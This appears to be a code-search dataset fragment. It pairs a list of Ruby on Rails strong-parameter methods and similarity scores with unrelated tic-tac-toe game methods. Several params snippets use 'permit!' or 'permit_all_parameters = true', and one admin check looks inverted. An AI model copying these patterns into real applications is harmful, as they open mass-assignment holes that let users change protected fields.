"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
private 1. win : if player can win, play win move
|
def win(board, sym = @symbol)
POSSIBLE_WINS.each do |win|
marks = board.each_index.select { |i| board[i] == sym.to_s }
matches = win & marks
if matches.size == 2
missing = win - matches
missing = missing[0]
return missing unless board[missing] != " "
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def play()\n \twinner = false\n \twhile not winner\n\t # player 1 moves\n\t @board.show()\n\t location = @player1.play()\n\t @board.changeLocation(location, @player1.marker)\n\n\t # did he win?\n\t winner = @board.checkWinner(@player1.marker)\n\t break if winner\n\n\t # player 2 plays\n\t @board.show()\n\t location = @player2.play()\n\t @board.changeLocation(location, @player2.marker)\n\n\t # did he win?\n\t winner = @board.checkWinner(@player2.marker)\n\n\tend\n @board.show()\n puts \"Player #{winner} won the game!\"\n end",
"def winning_move\n simulate_move(@player_num)\n end",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def win?\n while true\n @board.render(false)\n @player.get_input\n move_valid?\n if @board.board == @board.winningboard\n render(true)\n puts \"Congratulations!\"\n exit\n end\n end\n end",
"def play(player_move, bot_move)\n\t\tif player_move == bot_move\n\t\t\t:draw\n\t\telsif player_move == :rock && bot_move == :scissors || player_move == :paper && bot_move == :rock || player_move == :scissors && bot_move == :paper\n\t\t\t:player_wins\n\t\telse\n\t\t\t:bot_wins\n\t\tend\n\tend",
"def play\n until game_over\n start_new_turn\n show_board\n make_move @current_player\n end\n show_board\n puts \"#{game_over} wins!\"\n end",
"def winGame\n @victory = true\n if @level == 2\n @win = true\n end\n end",
"def play\n until @board.winner?(:X) || @board.winner?(:O)\n p \"#{@current_player.mark}'s turn\"\n @board.print\n self.play_turn\n end\n\n @board.print\n self.switch_players!\n p \"#{@current_player.mark} has won!\"\n end",
"def play\n p_arr = randomize_players(@player_1, @player_2)\n current_player = p_arr[0]\n next_player = p_arr[1]\n current_player.piece = 'X'\n next_player.piece = 'O'\n puts \"Player #{current_player.id.to_s} goes first!\"\n\n end_message = \"\"\n loop do\n set_cell(current_player.move(self))\n if check_win?\n end_message = current_player.win_message\n break\n elsif check_draw?\n end_message = \"It's a draw.\"\n break\n end\n current_player, next_player = next_player, current_player\n end\n\n display_board\n end_message\n end",
"def player_win\n @player_win += 1\n end",
"def win\n\t\tputs \"Player #{@myIndex} made a correct accusation and has won the game!\"\n\tend",
"def play\n\t\t@board.print_grid\n\t\tdo_break = false\n\t\twhile !((@board.checkWin('X', @p1.name)) || (@board.checkWin('O', @p2.name)))\n\t\t\tplayer_turn\n\t\t\tif @@turn == 9\n\t\t\t\tdo_break = true\n\t\t\tend\n\t\t\tbreak if do_break\n\t\tend\n\t\tfinish\n\tend",
"def win\n winning_move(@computer_mark)\n end",
"def play\n @possible_moves.each do |move|\n new_board = @board | move\n if (@@position[new_board] || Tactics.new(new_board, @possible_moves).play) == LOSS then\n return @@position[@board] = WIN \n end\n end\n @@position[@board] = LOSS\n end",
"def win_game\n @win.each do |m|\n if @board[m[0]].strip == @board[m[1]] && @board[m[1]] == @board[m[2]]\n @winner = true\n end\n end\n @winner\n end",
"def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end",
"def win_message\n puts \"Player #{@id.to_s} (#{@piece}) wins!\"\n end",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n\t\tboard = Board.new # cree une instance de la class board\n\t\tfor i in 1..9 # fait une boucle qui vas de 1 a 9, quand on arrive a 9 ca veut dire que toutes les cases du tableau on ete remplis. \n\t\t\tboard.display_stat(@player_one.return_name, @player_two.return_name, @player_one.return_number_of_win, @player_two.return_number_of_win, @player_two.return_number_of_egality) # on appel la methode display stats qui vas servire a affichier les statistiques, nombre de parties, nom des joueurs, leur nombre de victoires...\n\t\t\tif @who_play == 1 # on cree une condition qui vas servire a afficher le nom du joueur qui doit jouer ce tours.\n\t\t\t\tputs \"A toi de jouer #{@player_one.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\telse\n\t\t\t\tputs \"A toi de jouer #{@player_two.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\tend\n\t\t\tboard.display_board(@board_case) # on affiche le plateau du jeux\n\t\t\tselect_board_case # on appel la methode qui demande a l'utilisateur de choisire la case sur laquel il vas jouer\n\t\t\tif is_win == true # on fait une condition qui appel la methode is_win, cette methode verifi si il y a un cas de victoire\n\t\t\t\tboard.display_board(@board_case) # on affiche le plateau une derniere fois pour montrer la derniere modification\n\t\t\t\tif @who_play == 1 # on fait une condition qui verifie qui a gagner\n\t\t\t\t\tputs \"le joueur #{@player_one.return_name} a gagner cette partie!\" # si c'est le joueur 1 qui a gagner on dit qu'il a gagner, on affiche son nom\n\t\t\t\t\t@player_one.increments_number_of_win\t# on incremente du nombre de victoire \n\t\t\t\telse\n\t\t\t\t\tputs \"le joueur #{@player_two.return_name} a gagner cette partie!\"\n\t\t\t\t\t@player_two.increments_number_of_win\n\t\t\t\tend\n\t\t\t\tbreak # On quitte la boucle car il y a eu une victoire\n\t\t\tend\n\t\t\t@who_play == 1 ? @who_play = 2 : @who_play = 1 # cette ligne sert a faire que c'est a l'autre joueur de jouer (c'est une condition de type ternaire)\n\t\tend\n\t\tif is_win == false # si on sort de la boucle et qu'il n'y a aucune victoire alor c'est un match nul\n\t\t\t@player_one.increments_number_of_egality # on incremente la variable qui compte le nombres de matchs nuls\n\t\t\t@player_two.increments_number_of_egality\n\t\t\tputs \"MATCH NULLLLLLL\".colorize(:red) # on affiche que c'est un match nul\n\t\tend\n\tend",
"def win_game\n clear_message_box\n @ui.place_text('THY QUEST IS OVER!'.center(20),1,2)\n (0..36).each do |i|\n hero_direction = POS_TURN.rotate!(i <=> 16)[0]\n @ui.place_text(DungeonOfDoom::CHAR_PLAYER[hero_direction], @cur_x+2, @cur_y+6, DungeonOfDoom::C_WHITE_ON_RED)\n sleep 0.1\n @ui.refresh\n end\n ask_question(\"THY SCORE=#{((@treasure*10)+(@gold_count*@stats[:experience])+@stats[:strength]+\n @stats[:vitality]+@stats[:agility]).round}\",MSG_KEY)\n end",
"def check_for_win(player)\n\tif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"tc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"cl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"cr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"bc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cl\"] == player) && ($grid_hash[\"bl\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tc\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"bc\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tr\"] == player) && ($grid_hash[\"cr\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telse\n\t\tcheck_for_tie\n\tend\nend",
"def win?\n if won_game?\n @games_won += 1\n won_set\n return true\n end\n end",
"def run\n until self.board.over?\n play_turn\n end\n\n if self.board.won?\n winning_player = self.players[self.board.winner]\n puts \"#{winning_player.name} won the game!\"\n else\n puts \"No one wins!\"\n end\n end",
"def win\r\n\t\tfor i in 1..@mines do\r\n\t\t\tx=@mine[i].x\r\n\t\t\ty=@mine[i].y\r\n\t\t\t\r\n\t\t\tremove_pic(@field[x][y])\r\n\t\t\tadd_pic(@field[x][y],F_flag)\r\n\t\tend\r\n\t\t\r\n\t\t@start_button.remove(@actual_face)\r\n\t\t@actual_face=@image[Win]\r\n\t\t@start_button.add(@actual_face)\r\n\t\t\r\n\t\t@game_status=FINISHED\r\n\t\t\r\n\t\t@fenster.show_all\n\t\tif @closed_fields==@mines and !@endless_time #won\r\n\t\t\tprozent=(@progress_bar.fraction * 100) / @time_multiplicator\r\n\t\t\t\r\n\t\t\tnew_highscore(@max_time - (@actual_time - @start_time),prozent)\r\n\t\tend\r\n\tend",
"def win?\n\t\tif @win_condition == @pegs[2]\n\t\t\tputs \"\\nCongratulations! You have solved this Tower of Hanoi! Would you like to start over? Please enter 'y' for yes or 'n' for no!\"\n\t\t\tresponse = gets.chomp.downcase\n\t\t\tplay_again?(response)\n\t\tend\n\t\tputs \"\\nPlease make your next move!\"\n\t\tmove_input\n\tend",
"def win(player)\n player.win(@bank)\n\n player\n end",
"def check_win(player_symbol)\n if horizontal?(player_symbol) || vertical?(player_symbol) || diagonal?(player_symbol)\n @@win = true\n puts \"\\nPlayer #{player_symbol} wins! Re-run the program to play again.\"\n exit\n end\n end",
"def start_game \n ask_player_for_move(@current_player)\n determine_winner\n end",
"def play\n start = Time.now\n until @board.won?\n @player ? round_player : round_ai\n @attempts += 1\n sleep(2)\n system(\"cls\")\n @board.render\n end\n finish = Time.now\n time_to_finish = finish - start\n declare_win(time_to_finish)\n end",
"def won_game(player)\n if player.advantage\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n elsif player.points > 3 and player.opponent.points < 3\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n end\n end",
"def player_win?(n)\n self.wins.each do |win| \n return true if (player_moves(\"#{n}\") & win).count == self.win_length\n end\n return false\n end",
"def check_winner\n if win_state == CHECK\n if players[0].get_hand_score >= players[1].get_hand_score\n self.win_state = LOSS\n else\n self.win_state = WIN\n end\n end\n\n if win_state == WIN\n self.wins = wins + 1 \n puts \"Good win! You're now at #{wins} wins and #{losses}.\"\n else\n self.losses = losses + 1\n puts \"Better luck next time. You're now at #{wins} wins and #{losses} losses.\"\n end\n end",
"def win_actions\n @i.cls\n @i.show_balance(@user)\n @i.show_cards(@open, @user, @croupier)\n @i.winner_msg(@user, @croupier, @winner) if @winner == @user || @winner == @croupier\n @i.winner_msg(@user, @croupier, @draw) if @winner == @draw\n\n # balance\n @winner.balance += @bank if @winner == @user || @winner == @croupier\n if @winner == @draw\n @user.balance += 10\n @croupier.balance += 10\n end\n # play again\n if check_end\n @i.cls\n @winner = nil\n @bank = 0\n @open = false\n @loser = nil\n # start new game\n else\n # exit from the program\n @again = false\n end\n end",
"def did_player_win?\n if @players_1_turn\n did_mark_win?(PLAYERS_1_MARK)\n else\n did_mark_win?(PLAYERS_2_MARK)\n end\n end",
"def play\n outcome = ''\n [1, 2].each {|ix| _select_players(ix)}\n c_player, o_player = _init_players\n o_player.set_other!(c_player) if o_player.is_IA_S?\n c_player.set_other!(o_player) if c_player.is_IA_S?\n #\n move_already_played = []\n #\n loop do\n STDOUT.print(\"#{@board.to_s}\\n#==> #{c_player.name}/#{c_player.type}'s TURN:\\n\")\n loop do\n m, sym = _get_move_from(c_player, move_already_played) # current player do his move\n v = @board.set_cell(m, sym.to_s)\n if m == -1 || v == sym # if sym not valid symbol, set_cell(m, sym != sym\n move_already_played << m.to_i\n break\n end\n STDERR.print \"! cell[#{m}] already set, try something else - v was: #{v.inspect} // #{v.class}\\n\"\n end\n move_already_played.sort!\n outcome = @board.game_over?\n break if outcome == :draw || outcome == :winner\n c_player, o_player = _switch_players(c_player, o_player)\n end\n _conclusion(outcome, c_player)\n end",
"def play\n #self.set_players # Only uncomment one of these two lines.\n self.set_computer_players # Uncomment this line to have two computer players\n until @board.winner?\n self.turn\n self.change_current_player\n end\n winner = (@current_player == @player1) ? @player2 : @player1\n puts \" #{winner.color.to_s.upcase} is the winner!!!!\"\n puts \"Thanks for playing.\"\n end",
"def play\n\t\t\twhile !win && @turns < TURNS\n\t\t\t\tturn\n\t\t\tend\n\t\t\t# counter increments at start of turn, so must be less than max turns\n\t\t\tif win\n\t\t\t\tplay_again\n\t\t\telse\n\t\t\t\tputs \"\\n Sorry, you ran out of turns. The word was #{@secret_word}\"\n\t\t\t\tplay_again\n\t\t\tend\n\t\tend",
"def run\n until game_over?\n # Get the next move from the player and update the game state.\n @board.play(get_valid_move,@players[0].sign)\n increment_turn\n end\n if(w = @board.win?)\n puts \"Game over #{w} wins!\"\n else\n puts \"Cat's game.\"\n end\n end",
"def play\n winner = nil\n begin\n until winner\n players.each do |player|\n player.take_turn(self) do |x, y|\n update(x, y, player.id)\n display\n winning_id = check_winner\n if winning_id\n winner = winning_id\n raise WinnerFound\n end\n raise GameTie if board.flatten.none? { |element| element.nil? || element.zero? }\n end\n end\n end\n rescue WinnerFound\n puts \"The winner is #{players[winner - 1]}\"\n rescue GameTie\n puts 'The game is a tie'\n end\n end",
"def botTurn\n # check if we can win with one move or need to block\n if positions = winOrBlock?(currentPlayer) || positions = winOrBlock?( (currentPlayer == 'X')? 'O' : 'X')\n takeLastSpot(positions)\n \n # check if there is a chance for bot to create a fork, or block oponent from making fork \n elsif forks = possibleFork?(currentPlayer) || forks = possibleFork?((currentPlayer == 'X')? 'O' : 'X')\n \n \n if forks.size == 1\n # find the most common index and move there\n commonElement = forks.max_by {|i| forks.count(i)}\n move(commonElement, currentPlayer)\n else\n # more than one fork possible,\n # find optimal block point, move there\n move(blockPoint(forks), currentPlayer)\n end\n \n # take the center if its available\n elsif !position_taken?(4)\n move(4, currentPlayer)\n \n # take an opposite corner from the oponent. If not available, take any corner\n elsif corner = cornerMove\n move(corner, currentPlayer)\n \n # play in a middle square on any of the sides \n else\n SIDE_MIDDLE.each do |position|\n if !position_taken?(position)\n move(position, currentPlayer)\n break\n end\n end\n end\n puts \"#{(currentPlayer == 'X')? 'O': 'X'}'s move: \"\n displayBoard\n end",
"def play\n until over? == true\n turn\n end\n if self.winner == nil\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{self.winner}!\"\n #Congradulate the winner of the game, using the person with the most X or O combinations\n #Code in a play again option, so players don't have to re enter name\n board.display\n end\n end",
"def play\n while !over?\n \t turn\n end\n if won?\n \t puts \"Congratulations \"+ winner() +\"!\"\n else\n \t puts \"Cat's Game!\"\n end\n end",
"def run\n play_round until game_over?\n puts \"#{winner} wins!\"\n end",
"def play\n\n until self.over?\n self.turn\n end\n\n if self.won?\n self.board.display\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n self.board.display\n puts \"Cat's Game!\"\n end\n end",
"def player_win\n @player.won_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend",
"def play\n\t @players.each { |player| player.score = 0 }\n\t \n\t loop do\n\t @board.clear\n\t\t@cur_player = @players[0]\n\t\t@rounds += 1\n\t\t\n\t\tprint \"\\n******************* Tic-Tac-Toe ********************\"\n\t puts \"\\n#{@players[0].name} will play with #{@players[0].mark}; #{@players[1].name} will play with #{@players[1].mark}\\n\\n\"\n\t\t@board.print_board \n\t \n\t\tloop do\n position = prompt_movement\n\t @board.set_mark(position, @cur_player.mark)\n\t\t @board.print_board \n\t\t \n\t\t result = \n\t\t if @board.is_winner?(@cur_player.mark)\n\t\t @cur_player.score += 1\n\t\t puts \"\\n#{@cur_player.name} wins!!\"\n\t\t\t true\n\t\t elsif @board.is_full?\n\t\t puts \"\\nThe game ended in a tie!\"\n\t\t\t true\n\t\t\tend\n\t\t \n\t\t break if result\n\t\t swap_players\n\t\tend\n\t\t\n\t\tbreak if prompt_quit\n\t end\n\t \n\t print_final_score\n\tend",
"def o_won?\r\n o = @game_board.each_index.select { |position| @game_board[position] == \"O\" }\r\n get_win(o)\r\n end",
"def play\nturn until over?\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw? == true\n puts \"Game over! Thanks for playing.\"\nend\nend",
